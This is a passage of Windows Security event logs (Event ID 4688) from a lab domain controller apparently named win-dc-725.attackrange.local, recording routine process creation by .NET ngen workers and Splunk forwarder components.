C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 668 -InterruptEvent 0 -NGENProcess 658 -Pipe 670 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255032 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x960 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255031 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc78 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 678 -InterruptEvent 0 -NGENProcess 6a8 -Pipe 5d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255030 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x278 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 65c -InterruptEvent 0 -NGENProcess 64c -Pipe 560 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255029 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa2c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 65c -Pipe 658 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255028 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 658 -InterruptEvent 0 -NGENProcess 560 -Pipe 66c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255040 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 694 -InterruptEvent 0 -NGENProcess 5a0 -Pipe 680 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255039 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1110 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6a0 -InterruptEvent 0 -NGENProcess 5fc -Pipe 630 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255038 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255037 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 61c -InterruptEvent 0 -NGENProcess 6a8 -Pipe 638 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255036 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1038 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 65c -InterruptEvent 0 -NGENProcess 67c -Pipe 674 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255035 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1120 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 638 -InterruptEvent 0 -NGENProcess 68c -Pipe 64c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255034 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 64c -InterruptEvent 0 -NGENProcess 638 -Pipe 688 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255033 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1214 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 674 -InterruptEvent 0 -NGENProcess 5ec -Pipe 660 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255048 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf50 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6ec -InterruptEvent 0 -NGENProcess 65c -Pipe 6e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255047 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 694 -InterruptEvent 0 -NGENProcess 6c8 -Pipe 6c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255046 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255045 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x127c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 698 -InterruptEvent 0 -NGENProcess 6b0 -Pipe 678 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255044 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe64 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 69c -InterruptEvent 0 -NGENProcess 6bc -Pipe 6b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:08:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255043 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT 